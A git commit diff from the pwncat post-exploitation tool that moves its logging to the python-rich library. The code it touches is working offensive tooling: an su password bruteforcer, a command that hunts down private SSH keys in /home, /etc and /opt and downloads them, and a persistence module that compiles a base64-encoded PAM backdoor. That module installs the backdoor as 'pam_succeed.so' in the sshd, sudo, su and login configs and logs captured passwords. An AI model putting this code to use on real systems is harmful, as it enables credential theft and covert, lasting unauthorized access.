1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Finished implementing new logging with python-rich

This commit is contained in:
Caleb Stewart 2020-07-06 22:40:14 -04:00
parent 40bfd7cb20
commit 93e39b9a47
14 changed files with 208 additions and 206 deletions

View File

@ -36,7 +36,6 @@ import pwncat
import pwncat.db
from pwncat.commands.base import CommandDefinition, Complete
from pwncat.util import State, console
from pwncat import util
def resolve_blocks(source: str):
@ -187,8 +186,8 @@ class CommandParser:
try:
self.dispatch_line(command)
except Exception as exc:
util.error(
f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}"
console.log(
f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
)
break
@ -244,7 +243,7 @@ class CommandParser:
# Spit the line with shell rules
argv = shlex.split(line)
except ValueError as e:
util.error(e.args[0])
console.log(f"[red]error[/red]: {e.args[0]}")
return
if argv[0][0] in self.shortcuts:
@ -262,12 +261,12 @@ class CommandParser:
if argv[0] in self.aliases:
command = self.aliases[argv[0]]
else:
util.error(f"{argv[0]}: unknown command")
console.log(f"[red]error[/red]: {argv[0]}: unknown command")
return
if not self.loading_complete and not command.LOCAL:
util.error(
f"{argv[0]}: non-local commands cannot run until after session setup."
console.log(
f"[red]error[/red]: {argv[0]}: non-local command use before connection"
)
return

View File

@ -5,7 +5,7 @@ from prompt_toolkit.keys import ALL_KEYS, Keys
import pwncat
from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat.config import KeyType
from pwncat import util
from pwncat.util import console
from colorama import Fore
import string
@ -29,11 +29,8 @@ class Command(CommandDefinition):
def run(self, args):
if args.key is None:
util.info("currently assigned key-bindings:")
for key, binding in pwncat.victim.config.bindings.items():
print(
f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
)
console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
elif args.key is not None and args.script is None:
if args.key in pwncat.victim.config.bindings:
del pwncat.victim.config.bindings[args.key]

View File

@ -1,7 +1,8 @@
#!/usr/bin/env python3
import argparse
from rich.progress import Progress
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import CommandDefinition, Complete, Parameter
import pwncat
@ -41,19 +42,36 @@ class Command(CommandDefinition):
def run(self, args):
for name in args.user:
with Progress(
"bruteforcing",
"[blue]{task.description}",
"",
"[cyan]{task.fields[password]}",
) as progress:
tasks = [
progress.add_task(name, password="", start=False) for name in args.user
]
for i, name in enumerate(args.user):
args.dictionary.seek(0)
progress.start_task(tasks[i])
for line in args.dictionary:
line = line.strip()
util.progress(f"bruteforcing {name}: {line}")
progress.update(tasks[i], password=line)
try:
# Attempt the password
pwncat.victim.su(name, line, check=True)
pwncat.victim.users[name].password = line
util.success(f"user {name} has password {repr(line)}!")
progress.update(
tasks[i],
password=f"password is [green]{repr(line)}[/green]",
)
break
except PermissionError:
continue
util.success("bruteforcing completed")
else:
progress.update(
tasks[i], password="[red]failed[/red]: no password found"
)
progress.stop_task(tasks[i])

View File

@ -10,7 +10,7 @@ from pwncat.commands.base import (
StoreConstOnce,
StoreForAction,
)
from pwncat import util
from pwncat.util import console
class Command(CommandDefinition):
@ -64,11 +64,11 @@ class Command(CommandDefinition):
pwncat.victim.bootstrap_busybox(args.url)
elif args.action == "list":
if pwncat.victim.host.busybox is None:
util.error(
"busybox hasn't been installed yet (hint: run 'busybox --install'"
console.log(
"[red]error[/red]: "
"busybox is not installed (hint: run 'busybox --install')"
)
return
util.info("binaries which the remote busybox provides:")
# Find all binaries which are provided by busybox
provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
@ -77,13 +77,13 @@ class Command(CommandDefinition):
)
for binary in provides:
print(f" * {binary.name}")
console.print(f" - {binary.name}")
elif args.action == "status":
if pwncat.victim.host.busybox is None:
util.error("busybox hasn't been installed yet")
console.log("[red]error[/red]: busybox hasn't been installed yet")
return
util.info(
f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
console.log(
f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]"
)
# Find all binaries which are provided from busybox
@ -96,4 +96,4 @@ class Command(CommandDefinition):
.with_entities(func.count())
.scalar()
)
util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
console.log(f"busybox provides [green]{nprovides}[/green] applets")

View File

@ -8,7 +8,6 @@ from prompt_toolkit import prompt
from rich.progress import Progress, BarColumn
import pwncat
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import (
CommandDefinition,
@ -185,7 +184,7 @@ class Command(CommandDefinition):
# Connect to the remote host's ssh server
sock = socket.create_connection((args.host, args.port))
except Exception as exc:
util.error(str(exc))
console.log(f"[red]error[/red]: {str(exc)}")
return
# Create a paramiko SSH transport layer around the socket
@ -194,7 +193,7 @@ class Command(CommandDefinition):
t.start_client()
except paramiko.SSHException:
sock.close()
util.error("ssh negotiation failed")
console.log("[red]error[/red]: ssh negotiation failed")
return
if args.identity:
@ -209,12 +208,12 @@ class Command(CommandDefinition):
try:
t.auth_publickey(args.user, key)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
console.log(f"[red]error[/red]: authentication failed: {exc}")
else:
try:
t.auth_password(args.user, args.password)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
console.log(f"[red]error[/red]: authentication failed: {exc}")
if not t.is_authenticated():
t.close()
@ -234,14 +233,13 @@ class Command(CommandDefinition):
try:
addr = ipaddress.ip_address(args.host)
util.progress(f"enumerating persistence methods for {addr}")
host = (
pwncat.victim.session.query(pwncat.db.Host)
.filter_by(ip=str(addr))
.first()
)
if host is None:
util.error(f"{args.host}: not found in database")
console.log(f"[red]error[/red]: {args.host}: not found in database")
return
host_hash = host.hash
except ValueError:
@ -251,19 +249,19 @@ class Command(CommandDefinition):
try:
pwncat.victim.reconnect(host_hash, args.method, args.user)
except PersistenceError as exc:
util.error(f"{args.host}: connection failed")
console.log(f"[red]error[/red]: {args.host}: {exc}")
return
elif args.action == "list":
if pwncat.victim.session is not None:
for host in pwncat.victim.session.query(pwncat.db.Host):
if len(host.persistence) == 0:
continue
print(
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
console.print(
f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]"
)
for p in host.persistence:
print(
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
console.print(
f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]"
)
else:
util.error(f"{args.action}: invalid action")
console.log(f"[red]error[/red]: {args.action}: invalid action")

View File

@ -6,9 +6,11 @@ from typing import List, Dict
import pytablewriter
from colorama import Fore, Style
from pytablewriter import MarkdownTableWriter
from rich.progress import Progress, BarColumn
import pwncat
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import (
CommandDefinition,
Complete,
@ -320,9 +322,16 @@ class Command(CommandDefinition):
"system.package",
]
util.progress("enumerating report_data")
with Progress(
"enumerating report data",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
) as progress:
task = progress.add_task("", status="initializing")
for fact in pwncat.victim.enumerate():
util.progress(f"enumerating report_data: {fact.data}")
progress.update(task, status=str(fact.data))
if fact.type in ignore_types:
continue
if fact.type not in report_data:
@ -331,8 +340,6 @@ class Command(CommandDefinition):
report_data[fact.type][fact.source] = []
report_data[fact.type][fact.source].append(fact)
util.erase_progress()
try:
with open(report_path, "w") as filp:
filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")
@ -359,9 +366,9 @@ class Command(CommandDefinition):
continue
self.render_section(filp, typ, report_data[typ])
util.success(f"enumeration report written to {report_path}")
except OSError:
self.parser.error(f"{report_path}: failed to open output file")
console.log(f"enumeration report written to [cyan]{report_path}[/cyan]")
except OSError as exc:
console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]):
"""
@ -399,29 +406,34 @@ class Command(CommandDefinition):
types = typ if isinstance(typ, list) else [typ]
util.progress("enumerating facts")
with Progress(
"enumerating facts",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
) as progress:
task = progress.add_task("", status="initializing")
for typ in types:
for fact in pwncat.victim.enumerate.iter(
typ, filter=lambda f: provider is None or f.source == provider
):
util.progress(f"enumerating facts: {fact.data}")
progress.update(task, status=str(fact.data))
if fact.type not in data:
data[fact.type] = {}
if fact.source not in data[fact.type]:
data[fact.type][fact.source] = []
data[fact.type][fact.source].append(fact)
util.erase_progress()
for typ, sources in data.items():
for source, facts in sources.items():
print(
f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}"
console.print(
f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]"
)
for fact in facts:
print(f" {fact.data}")
console.print(f" {fact.data}")
if long and getattr(fact.data, "description", None) is not None:
print(textwrap.indent(fact.data.description, " "))
console.print(textwrap.indent(fact.data.description, " "))
def flush_facts(self, typ: str, provider: str):
""" Flush all facts that match criteria """

View File

@ -1,5 +1,5 @@
#!/usr/bin/env python3
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import CommandDefinition, Complete, Parameter
@ -23,7 +23,7 @@ class Command(CommandDefinition):
# Ensure we confirmed we want to exit
if not args.yes:
util.error("exit not confirmed")
console.log("[red]error[/red]: exit not confirmed (use '--yes')")
return
# Get outa here!

View File

@ -4,7 +4,7 @@ import textwrap
import pwncat
from pwncat.commands import CommandParser
from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat import util
from pwncat.util import console
class Command(CommandDefinition):
@ -26,9 +26,8 @@ class Command(CommandDefinition):
if command.parser is not None:
command.parser.print_help()
else:
print(textwrap.dedent(command.__doc__).strip())
console.print(textwrap.dedent(command.__doc__).strip())
break
else:
util.info("the following commands are available:")
for command in pwncat.victim.command_parser.commands:
print(f" * {command.PROG}")
console.print(f" - {command.PROG}")

View File

@ -3,6 +3,15 @@ import textwrap
from typing import Dict, Type, Tuple, Iterator
from colorama import Fore, Style
from rich.progress import (
BarColumn,
DownloadColumn,
TextColumn,
TransferSpeedColumn,
TimeRemainingColumn,
Progress,
TaskID,
)
import pwncat
from pwncat.util import console
@ -111,18 +120,29 @@ class Command(CommandDefinition):
def clean_methods(self):
""" Remove all persistence methods from the victim """
util.progress("cleaning persistence methods: ")
for user, method in pwncat.victim.persist.installed:
with Progress(
"cleaning",
"{task.fields[method]}",
BarColumn(bar_width=None),
"[progress.percentage]{task.percentage:>3.1f}%",
console=console,
) as progress:
installed = list(pwncat.victim.persist.installed)
task = progress.add_task("", method="initializing", total=len(installed))
for user, method in installed:
try:
util.progress(f"cleaning persistance methods: {method.format(user)}")
progress.update(task, method=method.format(user))
pwncat.victim.persist.remove(method.name, user)
util.success(f"removed {method.format(user)}")
except PersistenceError as exc:
util.erase_progress()
util.warn(
f"{method.format(user)}: removal failed: {exc}\n", overlay=True
progress.log(
f"[yellow]warning[/yellow]: {method.format(user)}: "
f"removal failed: {exc}"
)
util.erase_progress()
progress.update(task, advance=1)
progress.update(task, method="[bold green]complete")
def run(self, args):

View File

@ -50,8 +50,6 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
data = []
util.progress("enumerating private keys")
# Search for private keys in common locations
with pwncat.victim.subprocess(
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
@ -59,14 +57,10 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
for line in pipe:
line = line.strip().decode("utf-8").split(" ")
uid, path = int(line[0]), " ".join(line[1:])
util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
data.append(PrivateKeyFact(uid, path, None, False))
for fact in data:
try:
util.progress(
f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
)
with pwncat.victim.open(fact.path, "r") as filp:
fact.content = filp.read().strip().replace("\r\n", "\n")

View File

@ -6,6 +6,8 @@ import os
import textwrap
from typing import Optional
from rich.progress import Progress
import pwncat
from pwncat import util
from pwncat.persist import PersistenceMethod, PersistenceError
@ -30,28 +32,6 @@ class Method(PersistenceMethod):
name = "pam"
# We can leverage this to escalate locally
local = True
def install(self, user: Optional[str] = None):
""" Install the persistence method """
if pwncat.victim.current_user.id != 0:
raise PersistenceError("must be root")
try:
# Enumerate SELinux state
selinux = pwncat.victim.enumerate.first("system.selinux").data
# If enabled and enforced, it will block this from working
if selinux.enabled and "enforc" in selinux.mode:
raise PersistenceError("selinux is currently in enforce mode")
elif selinux.enabled:
# If enabled but permissive, it will log this module
console.log(
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
)
except ValueError:
# SELinux not found
pass
# Source to our module
sneaky_source = textwrap.dedent(
"""
@ -89,11 +69,31 @@ biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
"""
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg=="""
).replace("\n", "")
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
def install(self, user: Optional[str] = None):
""" Install the persistence method """
if pwncat.victim.current_user.id != 0:
raise PersistenceError("must be root")
try:
# Enumerate SELinux state
selinux = pwncat.victim.enumerate.first("system.selinux").data
# If enabled and enforced, it will block this from working
if selinux.enabled and "enforc" in selinux.mode:
raise PersistenceError("selinux is currently in enforce mode")
elif selinux.enabled:
# If enabled but permissive, it will log this module
console.log(
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
)
except ValueError:
# SELinux not found
pass
# We use the backdoor password. Build the string of encoded bytes
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
password = hashlib.sha1(
@ -102,15 +102,25 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
password = ",".join(hex(c) for c in password)
# Insert our key
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password)
sneaky_source = self.sneaky_source.replace("__PWNCAT_HASH__", password)
# Insert the log location for successful passwords
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog")
progress = Progress(
"installing pam module",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
)
task = progress.add_task("", status="initializing")
# Write the source
try:
progress.start()
util.progress("pam_sneaky: compiling shared library")
progress.update(task, status="compiling shared library")
try:
# Compile our source for the remote host
@ -123,7 +133,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except (FileNotFoundError, CompilationError) as exc:
raise PersistenceError(f"pam: compilation failed: {exc}")
util.progress("pam_sneaky: locating pam module location")
progress.update(task, status="locating pam module installation")
# Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security"
@ -141,24 +151,24 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except FileNotFoundError:
pass
util.progress(f"pam_sneaky: pam modules located in {pam_modules}")
progress.update(task, status=f"pam modules located at {pam_modules}")
# Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules)
if (Access.DIRECTORY | Access.WRITE) in access:
# Copy the module to a non-suspicious path
util.progress(f"pam_sneaky: copying shared library to {pam_modules}")
progress.update(task, status="copying shared library")
pwncat.victim.env(
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
)
new_line = "auth\tsufficient\tpam_succeed.so\n"
util.progress(f"pam_sneaky: adding pam auth configuration")
progress.update(task, status="adding pam auth configuration")
# Add this auth method to the following pam configurations
for config in ["sshd", "sudo", "su", "login"]:
util.progress(
f"pam_sneaky: adding pam auth configuration: {config}"
progress.update(
task, status=f"adding pam auth configuration: {config}"
)
config = os.path.join("/etc/pam.d", config)
try:
@ -197,11 +207,11 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
pwncat.victim.tamper.created_file("/var/log/firstlog")
util.erase_progress()
except FileNotFoundError as exc:
# A needed binary wasn't found. Clean up whatever we created.
raise PersistenceError(str(exc))
finally:
progress.stop()
def remove(self, user: Optional[str] = None):
""" Remove this method """
@ -255,7 +265,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
raise PersistenceError("insufficient permissions")
except FileNotFoundError as exc:
# Uh-oh, some binary was missing... I'm not sure what to do here...
util.error(str(exc))
console.log(f"[red]error[/red]: {exc}")
def escalate(self, user: Optional[str] = None) -> bool:
""" Utilize this method to escalate locally """

View File

@ -51,9 +51,6 @@ class Method(BaseMethod):
# The rule appears to match, add it to the list
rules.append(fact.data)
# We don't need that progress after this is complete
util.erase_progress()
for rule in rules:
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
progress.update(task, step=str(rule))

View File

@ -339,53 +339,11 @@ LAST_PROG_ANIM = -1
def erase_progress():
""" Erase the last progress line. Useful for progress messages for long-running
tasks, which don't need (or want) to be logged to the terminal """
global LAST_LOG_MESSAGE
return
sys.stdout.write(
len(LAST_LOG_MESSAGE[0]) * "\b"
+ len(LAST_LOG_MESSAGE[0]) * " "
+ len(LAST_LOG_MESSAGE[0]) * "\b"
)
LAST_LOG_MESSAGE = (LAST_LOG_MESSAGE[0], False)
raise RuntimeError("new-logging: please use the rich module for logging")
def log(level, message, overlay=False):
global LAST_LOG_MESSAGE
global LAST_PROG_ANIM
return
prefix = {
"info": f"[{Fore.BLUE}+{Fore.RESET}]",
"success": f"[{Fore.GREEN}+{Fore.RESET}]",
"warn": f"[{Fore.YELLOW}?{Fore.RESET}]",
"error": f"[{Fore.RED}!{Fore.RESET}]",
"prog": f"[{Fore.CYAN}+{Fore.RESET}]",
}
if overlay or (LAST_LOG_MESSAGE[1] and level in ["success", "error"]):
erase_progress()
elif LAST_LOG_MESSAGE[1]:
sys.stdout.write("\n")
if level == "prog":
LAST_PROG_ANIM = (LAST_PROG_ANIM + 1) % len(PROG_ANIMATION)
prefix["prog"] = prefix["prog"].replace("+", PROG_ANIMATION[LAST_PROG_ANIM])
LAST_LOG_MESSAGE = (
f"{prefix[level]} {Style.DIM}{message}{Style.RESET_ALL}",
overlay,
)
sys.stdout.write(LAST_LOG_MESSAGE[0])
if not overlay:
sys.stdout.write("\n")
else:
sys.stdout.flush()
raise RuntimeError("new-logging: please use the rich module for logging")
def info(message, overlay=False):

View File

@ -30,7 +30,7 @@ dependency_links = [
# Setup
setup(
name="pwncat",
version="0.2.0",
version="0.3.0",
description="A fancy reverse and bind shell handler",
author="Caleb Stewart",
url="https://gitlab.com/calebstewart/pwncat",